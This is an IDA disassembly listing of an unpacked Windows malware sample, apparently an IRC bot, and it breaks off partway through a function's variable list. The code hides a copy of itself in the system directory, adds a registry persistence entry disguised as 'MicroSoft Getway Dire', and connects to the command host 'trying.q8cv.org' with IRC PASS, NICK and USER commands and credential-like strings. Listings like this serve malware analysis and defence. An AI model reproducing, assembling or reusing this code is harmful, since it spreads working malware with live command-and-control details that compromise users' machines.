;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 897E860035CD66383E3C8B010BD975D9
; File Name : u:\work\897e860035cd66383e3c8b010bd975d9_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000E0000 ( 917504.)
; Section size in file : 000E0000 ( 917504.)
; Offset to raw data for section: 00001000
; Flags C00002E0: Text Data Bss Comment Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_XPack0 segment para public 'BSS' use32
assume cs:_XPack0
;org 401000h
assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_40121E+346p
; sub_4189E4+1Ep
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
loc_401006: ; DATA XREF: sub_4F9DFA+122o
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aMicrosoftGetwa ; "MicroSoft Getway Dire"
loc_401010: ; CODE XREF: sub_401000+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_42A054[esi]
push dword_42A050[esi]
call dword_4CE2BC ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_41B650
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_4CE32C ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call dword_4CE26C ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call dword_4CE2E4 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
loc_40106D: ; DATA XREF: .XPack:loc_4FBA06w
; sub_4FBD32+14r ...
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401071 proc near ; CODE XREF: sub_4010AA+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_4010A3
mov ecx, 0FFh
push ebx
loc_401088: ; CODE XREF: sub_401071+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_428238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401088
pop ebx
loc_4010A3: ; CODE XREF: sub_401071+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_401071 endp
; =============== S U B R O U T I N E =======================================
sub_4010AA proc near ; CODE XREF: sub_4169AB+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BB45
mov [esp+10h+var_10], offset dword_42A068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BB32
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_4010F5
loc_4010CF: ; CODE XREF: sub_4010AA+37j
xor eax, eax
jmp short loc_401116
; ---------------------------------------------------------------------------
loc_4010D3: ; CODE XREF: sub_4010AA+4Fj
inc ebx
push ebx
push esi
call sub_41B872
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010CF
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B78A
add esp, 10h
loc_4010F5: ; CODE XREF: sub_4010AA+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4010D3
dec ebx
push ebx
push esi
call sub_401071
push esi
mov ebx, eax
call sub_41B721
push edi
call sub_41B6CB
add esp, 10h
mov eax, ebx
loc_401116: ; CODE XREF: sub_4010AA+27j
pop edi
pop esi
pop ebx
retn
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111A proc near ; DATA XREF: sub_40121E+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_441254
call dword_4CE3A0 ; closesocket
call sub_40B417
call dword_4CE260 ; WSACleanup
call dword_4CE260 ; WSACleanup
mov ebx, dword_428080
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BC00
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BC00
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_4404C4
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_42807C ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_428078 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_428074 ; CreateProcessA
test eax, eax
jz short loc_4011DF
push 64h
call ebx ; Sleep
push [ebp+var_10]
loc_4011D2: ; DATA XREF: sub_4F9FE9+1Dr
mov esi, dword_428070
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011DF: ; CODE XREF: sub_40111A+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_4404C0
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_42806C ; ExitProcess
pop edi
pop esi
pop ebx
loc_401202: ; DATA XREF: .XPack0:0042A004o
jmp $+5
push 0FFFFh
push 539h
call sub_418D19
pop ecx
mov dword_4CE048, eax
pop ecx
retn
sub_40111A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40121E proc near ; CODE XREF: sub_41DFD3+C9p
var_984 = byte ptr -984h
var_880 = byte ptr -880h
var_87F = byte ptr -87Fh
var_6F0 = byte ptr -6F0h
var_5F0 = byte ptr -5F0h
var_4EC = byte ptr -4ECh
var_3EC = byte ptr -3ECh
var_2E8 = byte ptr -2E8h
var_1E4 = byte ptr -1E4h
var_E0 = dword ptr -0E0h
var_D4 = dword ptr -0D4h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 984h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111A
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4280B0
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CE04C, eax
call esi ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_4097DE
push 2
call dword_4CE3B4 ; SetErrorMode
push 7530h
push offset dword_42A990
push ebx
push ebx
call dword_4280AC ; CreateMutexA
push eax
call dword_4280A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40129E
push 1
call dword_42806C ; ExitProcess
loc_40129E: ; CODE XREF: sub_40121E+76j
lea eax, [ebp+var_880]
push eax
push 202h
call dword_4CE278 ; WSAStartup
cmp eax, ebx
jnz loc_4017B6
cmp [ebp+var_880], 2
jnz loc_4017B0
xor eax, eax
mov al, [ebp+var_87F]
cmp al, 2
jnz loc_4017B0
mov esi, 104h
lea eax, [ebp+var_3EC]
push esi
push eax
call dword_42807C ; GetSystemDirectoryA
lea eax, [ebp+var_2E8]
push esi
push eax
push ebx
call dword_4280A4 ; GetModuleHandleA
push eax
call dword_428078 ; GetModuleFileNameA
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41C041
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push offset dword_42B478
lea eax, [ebp+var_5F0]
push esi
push eax
call sub_41BFF0
lea eax, [ebp+var_3EC]
push eax
lea eax, [ebp+var_2E8]
push eax
call sub_41BF70
add esp, 30h
test eax, eax
jnz loc_401501
cmp dword_42A978, ebx
mov esi, offset byte_42AA54
jz short loc_401396
push esi
xor edi, edi
call sub_41B650
sub eax, 4
pop ecx
jz short loc_401396
loc_401373: ; CODE XREF: sub_40121E+176j
call sub_41BF52
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42AA54[edi], dl
inc edi
call sub_41B650
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401373
loc_401396: ; CODE XREF: sub_40121E+145j
; sub_40121E+153j
lea eax, [ebp+var_3EC]
push esi
push eax
lea eax, [ebp+var_1E4]
push offset dword_42B470
push eax
call sub_41BEF6
add esp, 10h
lea eax, [ebp+var_1E4]
push eax
call dword_4280A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013D6
lea eax, [ebp+var_1E4]
push 80h
push eax
call dword_42809C ; SetFileAttributesA
loc_4013D6: ; CODE XREF: sub_40121E+1A4j
mov esi, dword_428098
xor edi, edi
jmp short loc_401402
; ---------------------------------------------------------------------------
loc_4013E0: ; CODE XREF: sub_40121E+1F7j
call dword_428094 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_401417
cmp eax, 20h
jz short loc_4013F4
cmp eax, 5
jnz short loc_401417
loc_4013F4: ; CODE XREF: sub_40121E+1CFj
xor edi, edi
push 3A98h
inc edi
call dword_428080 ; Sleep
loc_401402: ; CODE XREF: sub_40121E+1C0j
lea eax, [ebp+var_1E4]
push ebx
push eax
lea eax, [ebp+var_2E8]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_4013E0
loc_401417: ; CODE XREF: sub_40121E+1CAj
; sub_40121E+1D4j
lea eax, [ebp+var_1E4]
push eax
call sub_41891E
pop ecx
lea eax, [ebp+var_1E4]
push 7
push eax
call dword_42809C ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_41BC00
push 44h
lea eax, [ebp+var_E0]
pop esi
push esi
push ebx
push eax
call sub_41BC00
mov [ebp+var_E0], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_D4], offset byte_4404C4
mov [ebp+var_B4], esi
mov [ebp+var_B0], bx
call dword_428090 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_42808C ; OpenProcess
lea ecx, [ebp+var_2E8]
push ecx
push eax
lea eax, [ebp+var_1E4]
push eax
lea eax, [ebp+var_984]
push offset dword_42B464
push eax
call sub_41BEF6
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_E0]
push eax
lea eax, [ebp+var_3EC]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_984]
push ebx
push eax
lea eax, [ebp+var_1E4]
push eax
call dword_428074 ; CreateProcessA
test eax, eax
jz short loc_401501
push 0C8h
call dword_428080 ; Sleep
push [ebp+var_1C]
mov esi, dword_428070
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_4CE260 ; WSACleanup
push ebx
call dword_42806C ; ExitProcess
loc_401501: ; CODE XREF: sub_40121E+134j
; sub_40121E+2B9j
cmp dword_4DE5E0, 2
jle short loc_40154D
mov eax, dword_4DE5E4
push dword ptr [eax+4]
call sub_41BDE9
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4280A8 ; WaitForSingleObject
push esi
call dword_428070 ; CloseHandle
mov eax, dword_4DE5E4
cmp [eax+8], ebx
jz short loc_40154D
push 7D0h
call dword_428080 ; Sleep
mov eax, dword_4DE5E4
push dword ptr [eax+8]
call dword_428088 ; DeleteFileA
loc_40154D: ; CODE XREF: sub_40121E+2EAj
; sub_40121E+314j
cmp dword_42A97C, ebx
jz short loc_40156A
cmp dword_4CE3D4, ebx
jnz short loc_40156A
lea eax, [ebp+var_5F0]
push eax
call sub_401000
pop ecx
loc_40156A: ; CODE XREF: sub_40121E+335j
; sub_40121E+33Dj
lea eax, [ebp+var_9C]
push offset dword_42B430
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_9C]
push ebx
push eax
loc_401584: ; DATA XREF: sub_4F9FE9+B0w
call sub_40B254
lea eax, [ebp+var_9C]
push eax
call sub_415F45
push 0B80h
push ebx
push offset dword_4404C8
call sub_41BC00
lea eax, [ebp+var_9C]
push offset unk_42B3F4
push eax
loc_4015B1: ; DATA XREF: .XPack:004FA81Fr
; .XPack:loc_4FACC9r
call sub_41BEF6
push ebx
lea eax, [ebp+var_9C]
push 1
push eax
call sub_40B254
add esp, 38h
mov esi, eax
mov edi, dword_428084
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41A072
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_44125C[esi], eax
jnz short loc_40160A
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset unk_42B398
push eax
call sub_41BEF6
add esp, 0Ch
loc_40160A: ; CODE XREF: sub_40121E+3CFj
lea eax, [ebp+var_9C]
push eax
call sub_415F45
push 2
call sub_40B496
pop ecx
test eax, eax
pop ecx
jnz short loc_40168F
lea eax, [ebp+var_9C]
push offset unk_42B350
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_9C]
push 2
push eax
call sub_40B254
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410EAC
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_44125C[esi], eax
jnz short loc_401682
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset unk_42B300
push eax
call sub_41BEF6
add esp, 0Ch
loc_401682: ; CODE XREF: sub_40121E+447j
lea eax, [ebp+var_9C]
push eax
call sub_415F45
pop ecx
loc_40168F: ; CODE XREF: sub_40121E+403j
call sub_41BF52
push 7Fh
and eax, 3
push offset aTrying_q8cv_or ; "trying.q8cv.org"
push offset dword_4CE054
mov dword_4CE1BC, eax
call sub_41BC60
mov eax, dword_42A958
push 3Fh
mov edi, offset dword_4CE0D4
push offset asc_42AA28 ; "#l#"
push edi
mov dword_4CE1A4, eax
call sub_41BC60
push 3Fh
mov esi, offset dword_4CE114
push offset aL4mo ; "l4mo"
push esi
call sub_41BC60
mov dword_4CE1A8, ebx
loc_4016E1: ; CODE XREF: sub_40121E+53Ej
; sub_40121E+588j
add esp, 24h
loc_4016E4: ; CODE XREF: sub_40121E+546j
mov [ebp+var_4], ebx
loc_4016E7: ; CODE XREF: sub_40121E+4FFj
push offset dword_4CE050
mov dword_4CE1B8, ebx
call sub_4017BF
cmp eax, 2
jz loc_4017AB
cmp dword_4CE1B8, ebx
jz short loc_40170B
dec [ebp+var_4]
loc_40170B: ; CODE XREF: sub_40121E+4E8j
push 0BB8h
call dword_428080 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016E7
cmp [ebp+var_C], ebx
jz short loc_40175E
push 7Fh
push offset aTrying_q8cv_or ; "trying.q8cv.org"
push offset dword_4CE054
call sub_41BC60
mov eax, dword_42A958
push 3Fh
push offset asc_42AA28 ; "#l#"
push edi
mov dword_4CE1A4, eax
call sub_41BC60
push 3Fh
push offset aL4mo ; "l4mo"
push esi
call sub_41BC60
mov [ebp+var_C], ebx
jmp short loc_4016E1
; ---------------------------------------------------------------------------
loc_40175E: ; CODE XREF: sub_40121E+504j
cmp byte_42AA34, bl
jz loc_4016E4
push 7Fh
push offset byte_42AA34
push offset dword_4CE054
call sub_41BC60
mov eax, dword_42A95C
push 3Fh
push offset asc_42AA48 ; "#l#"
push edi
mov dword_4CE1A4, eax
call sub_41BC60
push 3Fh
push offset aL4mo_0 ; "l4mo"
push esi
call sub_41BC60
mov [ebp+var_C], 1
jmp loc_4016E1
; ---------------------------------------------------------------------------
loc_4017AB: ; CODE XREF: sub_40121E+4DCj
call sub_40B417
loc_4017B0: ; CODE XREF: sub_40121E+A1j
; sub_40121E+B1j
call dword_4CE260 ; WSACleanup
loc_4017B6: ; CODE XREF: sub_40121E+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40121E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017BF proc near ; CODE XREF: sub_40121E+4D4p
; DATA XREF: sub_401AA1+6522o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4017E4: ; CODE XREF: sub_4017BF+E6j
; sub_4017BF+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CE308 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A7C5
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401921
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BC00
push 0
lea eax, [ebp+var_2C]
push dword_42A98C
push dword_42A988
push eax
call sub_40AD20
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_441260
push edi
push eax
call sub_41BC60
add esp, 28h
push 6
push 1
push 2
call dword_4CE388 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_441254[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018AA
push esi
call dword_4CE3A0 ; closesocket
call sub_40A7EE
push 7D0h
loc_40189F: ; CODE XREF: sub_4017BF+146j
call dword_428080 ; Sleep
jmp loc_4017E4
; ---------------------------------------------------------------------------
loc_4018AA: ; CODE XREF: sub_4017BF+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_42B480
call sub_415FB9
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401925
add esp, 28h
mov edi, eax
push esi
call dword_4CE3A0 ; closesocket
test edi, edi
jz loc_4017E4
cmp edi, 1
jnz short loc_401907
push 0DBBA0h
jmp short loc_40189F
; ---------------------------------------------------------------------------
loc_401907: ; CODE XREF: sub_4017BF+13Fj
cmp edi, 2
jnz loc_4017E4
push [ebp+var_34]
call sub_40B56A
pop ecx
push edi
pop eax
loc_40191B: ; CODE XREF: sub_4017BF+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_401921: ; CODE XREF: sub_4017BF+5Aj
xor eax, eax
jmp short loc_40191B
sub_4017BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401925 proc near ; CODE XREF: sub_4017BF+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C190
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401943: ; CODE XREF: sub_401925+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401943
cmp byte_4CE1B4, bl
jz short loc_40196A
push offset byte_4CE1B4
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_4096FD
add esp, 0Ch
loc_40196A: ; CODE XREF: sub_401925+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AD20
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41BEF6
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4019D4
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
push 1388h
call dword_428080 ; Sleep
loc_4019CD: ; CODE XREF: sub_401925+D9j
; sub_401925+153j
xor eax, eax
loc_4019CF: ; CODE XREF: sub_401925+16Fj
; sub_401925+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4019D4: ; CODE XREF: sub_401925+92j
; sub_401925+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CE320 ; recv
test eax, eax
jle short loc_4019CD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_418615
pop ecx
loc_401A14: ; DATA XREF: .XPack:004FA8D5o
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_4019D4
lea edi, [ebp+var_A90]
loc_401A25: ; CODE XREF: sub_401925+165j
xor esi, esi
inc esi
loc_401A28: ; CODE XREF: sub_401925+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
loc_401A3D: ; DATA XREF: .XPack:004FA14Dr
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401AA1
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A6B
push 7D0h
call dword_428080 ; Sleep
jmp short loc_401A28
; ---------------------------------------------------------------------------
loc_401A6B: ; CODE XREF: sub_401925+137j
cmp esi, 0FFFFFFFDh
jz short loc_401A99
cmp esi, 0FFFFFFFEh
jz short loc_401A91
cmp esi, 0FFFFFFFFh
jz loc_4019CD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A25
jmp loc_4019D4
; ---------------------------------------------------------------------------
loc_401A91: ; CODE XREF: sub_401925+14Ej
xor eax, eax
inc eax
jmp loc_4019CF
; ---------------------------------------------------------------------------
loc_401A99: ; CODE XREF: sub_401925+149j
push 2
pop eax
jmp loc_4019CF
sub_401925 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401AA1 proc near ; CODE XREF: sub_401925+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
